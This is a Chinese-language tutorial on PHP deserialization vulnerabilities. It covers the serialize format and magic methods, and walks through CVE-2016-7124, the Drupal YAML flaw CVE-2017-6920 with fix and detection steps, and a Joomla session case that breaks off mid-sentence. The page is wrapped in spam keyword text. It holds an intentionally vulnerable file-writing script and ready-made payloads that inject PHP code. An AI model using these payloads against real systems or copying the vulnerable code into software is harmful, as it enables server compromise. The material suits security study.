国产成人精品18p,天天干成人网,无码专区狠狠躁天天躁,美女脱精光隐私扒开免费观看

PHP反序列化漏洞的示例分析

發(fā)布時(shí)間:2021-09-14 11:25 來(lái)源:億速云 閱讀:0 作者:小新 欄目: 網(wǎng)絡(luò )安全

這篇文章將為大家詳細講解有關(guān)PHP反序列化漏洞的示例分析,小編覺(jué)得挺實(shí)用的,因此分享給大家做個(gè)參考,希望大家閱讀完這篇文章后可以有所收獲。

0x01 原理

php程序為了保存和轉儲對象,提供了序列化的方法。php序列化是為了在程序運行的過(guò)程中對對象進(jìn)行轉儲而產(chǎn)生的。序列化可以將對象轉換成字符串,但僅保留對象里的成員變量,不保留函數方法。

php序列化的函數為serialize,可以將對象中的成員變量轉換成字符串。

反序列化的函數為unserilize,可以將serialize生成的字符串重新還原為對象中的成員變量。

將用戶(hù)可控的數據進(jìn)行了反序列化,就是PHP反序列化漏洞。

序列化

序列化的目的是方便數據的傳輸和存儲。

在PHP應用中,序列化和反序列化一般用作緩存,比如session緩存,cookie等。

常見(jiàn)的序列化格式:

二進(jìn)制格式

字節數組

json字符串

xml字符串

<?php
class Test{
public $a = 'ThisA';
protected $b = 'ThisB';
private $c = 'ThisC';
public function test1(){
return "this is test1";
}
}
$test = new Test();
var_dump(serialize($test));
?>

輸出結果為:

C:\phpstudy_pro\WWW\s1.php:11:string 'O:4:"Test":3:{s:1:"a";s:5:"ThisA";s:4:"?*?b";s:5:"ThisB";s:7:"?Test?c";s:5:"ThisC";}' (length=84)

實(shí)際的序列化字符串為

:O:4:"Test":3:{s:1:"a";s:5:"ThisA";s:4:"?*?b";s:5:"ThisB";s:7:"?Test?c";s:5:"ThisC";}

對象序列化后的結構為:

O:對象名的長(cháng)度:"對象名":對象屬性個(gè)數:{s:屬性名的長(cháng)度:"屬性名";s:屬性值的長(cháng)度:"屬性值";}

可以得知,序列化之后的結果是字符串string。

Test是一個(gè)類(lèi),new Test()表示創(chuàng )建Test類(lèi)的對象。

O表示對象,4表示類(lèi)的名稱(chēng)有4個(gè)字符,Test是類(lèi)名稱(chēng)。

3表示對象中有3個(gè)成員變量。括號里面是每個(gè)成員的類(lèi)型、名稱(chēng)、值。

變量名和變量值之間以分號分隔。

a是public類(lèi)型的變量,s表示字符串,1表示變量名的長(cháng)度,a是變量名。

b是protected類(lèi)型的變量,它的變量名長(cháng)度為4,也就是b前添加了%00*%00。所以,protected屬性的表示方式是在變量名前加上%00*%00。

c是private類(lèi)型的變量,c的變量名前添加了%00類(lèi)名%00。所以,private屬性的表示方式是在變量名前加上%00類(lèi)名%00。

雖然Test類(lèi)中有test1方法,但是,序列化得到的字符串中,只保存了公有變量a,保護變量b和私有變量c,并沒(méi)保存類(lèi)中的方法。也可以看出,序列化不保存方法。

反序列化

<?php
class Test{
public $a = 'ThisA';
protected $b = 'ThisB';
private $c = 'ThisC';
public function test1(){
return "this is test1";
}
}
$test = new Test();
$sTest = serialize($test);
$usTest = unserialize($sTest);
var_dump($usTest);
?>

輸出內容如下:

C:\phpstudy_pro\WWW\s2.php:13:
object(Test)[2]
public 'a' => string 'ThisA' (length=5)
protected 'b' => string 'ThisB' (length=5)
private 'c' => string 'ThisC' (length=5)

類(lèi)的成員變量被還原了,但是類(lèi)的方法沒(méi)有被還原。因為序列化的時(shí)候就沒(méi)有保存類(lèi)的方法。

PHP反序列化漏洞中可能會(huì )用到的魔術(shù)方法

php類(lèi)可能會(huì )包含魔術(shù)方法,魔術(shù)方法命名是以符號__開(kāi)頭的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。這些函數在某些情況下會(huì )自動(dòng)調用。
__construct():具有構造函數的類(lèi)會(huì )在每次創(chuàng  )建新對象時(shí)先調用此方法。

__destruct():析構函數會(huì )在到某個(gè)對象的所有引用都被刪除或者當對象被顯式銷(xiāo)毀時(shí)執行。

__toString()方法用于一個(gè)類(lèi)被當成字符串時(shí)應怎樣回應。例如echo $obj;應該顯示些什么。

此方法必須返回一個(gè)字符串,否則將發(fā)出一條 E_RECOVERABLE_ERROR 級別的致命錯誤。

__sleep()方法在一個(gè)對象被序列化之前調用;

__wakeup():unserialize( )會(huì )檢查是否存在一個(gè)_wakeup( )方法。如果存在,則會(huì )先調用_wakeup方法,預先準備對象需要的資源。
__construct() # 當對象被創(chuàng  )建時(shí)調用
__destruct()    # 當對象被銷(xiāo)毀時(shí)調用
__toString()    # 當對象被當做字符串使用
__sleep()       # 在對象被序列化之前調用
__wakeup()  # 在對象被反序列化之前調用
<?php
class Test{
public function __construct(){
echo 'construct run';
}
public function __destruct(){
echo 'destruct run';
}
public function __toString(){
echo 'toString run';
return 'str';
}
public function __sleep(){
echo 'sleep run';
return array();
}
public function __wakeup(){
echo 'wakeup run';
}
}

echo '<br>new了一個(gè)對象,對象被創(chuàng  )建,執行__construct</br>';
$test = new Test();

echo '<br>serialize了一個(gè)對象,對象被序列化,先執行__sleep,再序列化</br>';
$sTest = serialize($test);

echo '<br>__wakeup():unserialize( )會(huì )檢查是否存在一個(gè)_wakeup( )方法。如果存在,則會(huì )先調用_wakeup方法,預先準備對象需要的資源。</br>';
$usTest = unserialize($sTest);

echo '<br>把Test對象當做字符串使用,執行__toString</br>';
$string = 'use Test obj as str '.$test;

echo '<br>程序執行完畢,對象自動(dòng)銷(xiāo)毀,執行__destruct</br>';

?>
new了一個(gè)對象,對象被創(chuàng  )建,執行__construct
construct run
serialize了一個(gè)對象,對象被序列化,先執行__sleep,再序列化
sleep run
__wakeup():unserialize( )會(huì )檢查是否存在一個(gè)_wakeup( )方法。如果存在,則會(huì )先調用_wakeup方法,預先準備對象需要的資源。
wakeup run
把Test對象當做字符串使用,執行__toString
toString run
程序執行完畢,對象自動(dòng)銷(xiāo)毀,執行__destruct
destruct rundestruct run

現在5個(gè)魔法函數的執行順序就明確了。

對象被創(chuàng )建時(shí)執行__construct。

使用serialize()序列化對象。先執行__sleep,再序列化。

unserialize( )會(huì )檢查是否存在一個(gè)_wakeup( )方法。如果存在,則會(huì )先調用_wakeup()方法,預先準備對象需要的資源。

把對象當做字符串使用,比如將對象與字符串進(jìn)行拼接,或者使用echo輸出對象,會(huì )執行__toString

程序運行完畢,對象自動(dòng)銷(xiāo)毀,執行__destruct。

安全問(wèn)題

如何利用反序列化漏洞,取決于應用程序的邏輯、可用的類(lèi)和魔法函數。unserialize的參數用戶(hù)可控,攻擊者可以構造惡意的序列化字符串。當應用程序將惡意字符串反序列化為對象后,也就執行了攻擊者指定的操作,如代碼執行、任意文件讀取等。

PHP反序列漏洞的防御方法

不允許用戶(hù)控制unserialize函數的參數

0x02 實(shí)例講解

一、CVE-2016-7124

影響版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

反序列化時(shí),如果表示對象屬性個(gè)數的值大于真實(shí)的屬性個(gè)數時(shí)就會(huì )跳過(guò)__wakeup( )的執行。

__destruct  # 當對象被銷(xiāo)毀時(shí)調用
__wakeup    # 在對象被反序列化之前調用

漏洞示例代碼如下:

<?php
class A{
var $target = "test";
function __wakeup(){
$this->target = "wakeup!";
}
function __destruct(){
$fp = fopen("C:\\phpstudy_pro\\WWW\\unserialize\\shell.php","w");
fputs($fp,$this->target);
fclose($fp);
}
}

$test = $_GET['test'];
$test_unseria = unserialize($test);

echo "shell.php<br/>";
include(".\shell.php");
?>

獲取序列化字符串的腳本如下:

<?php
class A{
var $target = "test";
}

$obj = new A();
$s = serialize($obj);
var_dump($s);

?>

正常的序列化字符串為:O:1:"A":1:{s:6:"target";s:4:"test";}。注意:這里target變量的值是test,長(cháng)度為4。當我們修改target變量的值時(shí),對應的,也要將值的長(cháng)度進(jìn)行修改。

在線(xiàn)計算字符串長(cháng)度

程序從GET請求中獲取test參數的值,然后將test參數進(jìn)行反序列化。

?test=O:1:"A":1:{s:6:"target";s:18:"<?php phpinfo();?>";}

代碼正常的執行邏輯,應該是:unserialize( )會(huì )檢查是否存在一個(gè)_wakeup( )方法。本例中存在,則會(huì )先調用_wakeup()方法,預先將對象中的target屬性賦值為"wakeup!"。注意,不管用戶(hù)傳入的序列化字符串中的target屬性為何值,__wakeup()都會(huì )把$target的值重置為"wakeup!"。最后程序運行結束,對象被銷(xiāo)毀,調用__destruct()方法,將target變量的值寫(xiě)入文件shell.php中。這樣shell.php文件中的內容就是字符串"wakeup"。

對象序列化后的結構為:O:對象名的長(cháng)度:"對象名":對象屬性個(gè)數:{s:屬性名的長(cháng)度:"屬性名";s:屬性值的長(cháng)度:"屬性值";}

反序列化時(shí),如果表示對象屬性個(gè)數的值大于真實(shí)的屬性個(gè)數時(shí)就會(huì )跳過(guò)__wakeup( )的執行。構造如下對象作為payload:

?test=O:1:"A":2:{s:6:"target";s:18:"<?php phpinfo();?>";}

這里真實(shí)屬性個(gè)數是1,只有1個(gè)target屬性。我們在構造序列化字符串時(shí),將表示對象屬性個(gè)數的值寫(xiě)成任何大于1的整數,就可以跳過(guò)__wakeup()的執行?,F在,程序執行的邏輯變?yōu)椋褐苯邮褂?code>unserialize()函數將用戶(hù)傳遞的參數進(jìn)行反序列化。程序執行結束,對象被銷(xiāo)毀,調用__destruct()方法,將target變量的值寫(xiě)入文件shell.php中。而target變量的值就是我們用戶(hù)構造的phpinfo()函數,成功getshell。

注意,如果要序列化protected類(lèi)型的屬性,需要在變量名前加上%00*%00。序列化private類(lèi)型的屬性,需要在變量名前加上%00類(lèi)名%00。

<?php
class A{
protected $target = "test";
}

$obj = new A();
$s = serialize($obj);
var_dump($s);

?>

得到的序列化字符串為:

O:1:"A":1:{s:9:"?*?target";s:4:"test";}

構造的payload為:

?test=O:1:"A":2:{s:9:"%00*%00target";s:18:"<?php phpinfo();?>";}
<?php
class A{
private $target = "test";
}

$obj = new A();
$s = serialize($obj);
var_dump($s);

?>

得到的序列化字符串為:

O:1:"A":1:{s:9:"?A?target";s:4:"test";}

構造的payload為:

?test=O:1:"A":2:{s:9:"%00A%00target";s:18:"<?php phpinfo();?>";}

二、CVE-2017-6920:Drupal遠程代碼執行漏洞

Drupal Core 8 PECL YAML 反序列化任意代碼執行漏洞(CVE-2017-6920)

CVE-2017-6920:Drupal遠程代碼執行漏洞分析及POC構造

本例子代碼審計中分析反序列化漏洞的方法

通過(guò)diff有漏洞的版本和漏洞修復的版本,發(fā)現漏洞的觸發(fā)點(diǎn)。

在漏洞所在函數的觸發(fā)點(diǎn)代碼中,通過(guò)閱讀官方文檔,找到外部可控的參數,明確漏洞的觸發(fā)原理。

定位漏洞所在函數的調用位置,如果該函數還調用了其它函數,繼續跟蹤其它函數。

最后定位外部可控的輸入點(diǎn)。找到漏洞的數據觸發(fā)點(diǎn)。

要利用該漏洞進(jìn)行遠程代碼執行,需要一個(gè)可以利用的類(lèi)。如有應用程序使用命名空間的方式來(lái)管理類(lèi),可以全局實(shí)例化一個(gè)類(lèi),也可以反序列化一個(gè)類(lèi);該漏洞利用了反序列化,因此需要找一個(gè)反序列類(lèi)。通過(guò)__destruct以及__wakeup來(lái)定位類(lèi),全局搜索可以找到幾個(gè)可利用的類(lèi)。

通過(guò)反序列化這些類(lèi),可以造成任意文件刪除、寫(xiě)入webshell、任意無(wú)參數函數執行等危害。

漏洞描述

2017年6月21日,Drupal官方發(fā)布了一個(gè)編號為CVE-2017- 6920 的漏洞,影響為Critical。這是Drupal Core的YAML解析器處理不當所導致的一個(gè)遠程代碼執行漏洞,影響8.x的Drupal Core。

漏洞驗證

漏洞環(huán)境

執行如下命令啟動(dòng) drupal 8.3.0 的環(huán)境:

docker-compose up -d

環(huán)境啟動(dòng)后,訪(fǎng)問(wèn)http://your-ip:8080/將會(huì )看到drupal的安裝頁(yè)面,一路默認配置下一步安裝。因為沒(méi)有環(huán)境,所以安裝的時(shí)候可以選擇sqlite數據庫。

漏洞復現

先安裝yaml擴展

# 換鏡像源,默認帶vim編輯器,所以用cat換源,可以換成自己喜歡的源
cat > sources.list << EOF
deb http://mirrors.163.com/debian/ jessie main non-free contrib
deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
EOF
# 安裝依賴(lài)
apt update
apt-get -y install gcc make autoconf libc-dev pkg-config
apt-get -y install libyaml-dev
# 安裝yaml擴展
pecl install yaml
docker-php-ext-enable yaml.so
# 啟用 yaml.decode_php 否則無(wú)法復現成功
echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini
# 退出容器
exit
# 重啟容器,CONTAINER換成自己的容器ID
docker restart CONTAINER

1.登錄一個(gè)管理員賬號

2.訪(fǎng)問(wèn) http://127.0.0.1:8080/admin/config/development/configuration/single/import

3.如下圖所示,Configuration type選擇Simple configuration,Configuration name任意填寫(xiě),Paste your configuration here中填寫(xiě)PoC如下:

構造了任意無(wú)參數函數的POC

!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

4.點(diǎn)擊Import后可以看到漏洞觸發(fā)成功,彈出phpinfo頁(yè)面。

漏洞修復

最新發(fā)布的Drupal 8.3.4 已經(jīng)修復了該漏洞,針對低于8.3.4的版本也可以通過(guò)升級Drupal文件/core/lib/Drupal/Component/Serialization/YamlPecl.php中的decode函數進(jìn)行防御

public static function decode($raw) {
# =========新增代碼部分開(kāi)始==================================================  
static $init;
if (!isset($init)) {
// We never want to unserialize !php/object.
ini_set('yaml.decode_php', 0);
$init = TRUE;
}
# =========新增代碼部分結束==================================================  
// yaml_parse() will error with an empty value.
if (!trim($raw)) {
return NULL;
}
......
}

漏洞檢測

針對該漏洞,可采用兩種方法進(jìn)行檢測:

方法一:登陸Drupal管理后臺,查看內核版本是8.x,且版本號低于8.3.4,則存在該漏洞;否則,不存在該漏洞;

登錄一個(gè)管理員賬號后,http://127.0.0.1:8080/admin/reports/updates,當前內核版本為8.3.0。

方法二:在Drupal根目錄下找到文件/core/lib/Drupal/Component/Serialization/ YamlPecl.php,定位到函數public static function decode($raw),如果該函數代碼不包含" ini_set('yaml.decode_php', 0);"調用,則存在該漏洞;否則,不存在該漏洞。

root@a3aafd8a0fc8:/var/www/html/core/lib/Drupal/Component/Serialization# cat YamlPecl.php | grep "decode" -A 10

三、 Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)

漏洞環(huán)境:Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)

參考文獻:Joomla遠程代碼執行漏洞分析(總結)

簡(jiǎn)介

本漏洞根源是PHP5.6.13前的版本在讀取存儲好的session時(shí),如果反序列化出錯則會(huì )跳過(guò)當前一段數據而去反序列化下一段數據。而Joomla將session存儲在Mysql數據庫中,編碼是utf8,當我們插入4字節的utf8數據時(shí)則會(huì )導致截斷。截斷后的數據在反序列化時(shí)就會(huì )失敗,最后觸發(fā)反序列化漏洞。

通過(guò)Joomla中的Gadget,可造成任意代碼執行的結果。

影響版本

Joomla 1.5.x, 2.x, and 3.x before 3.4.6

PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45

漏洞點(diǎn)——反序列化session

這個(gè)漏洞存在于反序列化session的過(guò)程中。漏洞存在于libraries/joomla/session/session.php,_validate函數,將User-AgentX_FORWARDED_FOR調用set方法設置到了session中。最終,它們會(huì )被保存到數據庫的session表中。

利用|字符偽造,控制整個(gè)反序列化字符串

joomla也沒(méi)有采用php自帶的session處理機制,而是用多種方式(包括database、memcache等)自己編寫(xiě)了存儲session的容器(storage)。其存儲格式為『鍵名 + 豎線(xiàn) + 經(jīng)過(guò) serialize() 函數反序列處理的值』,其未正確處理多個(gè)豎線(xiàn)的情況。那么,我們這里就可以通過(guò)注入一個(gè)|符號,將它前面的部分全部認為是name,而|后面我就可以插入任意serialize字符串,構造反序列化漏洞了。但還有一個(gè)問(wèn)題,在我們構造好的反序列化字符串后面,還有它原本的內容,必須要截斷。在插入數據庫的時(shí)候利用"

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。

php
国产亚洲精品AAAA片小说| 国产成人AV无码精品| 亚洲AV无码乱码在线观看看| 久久久中日AB精品综合| 影音先锋免费AV资源在线资源| 久久久久国产一区二区三区|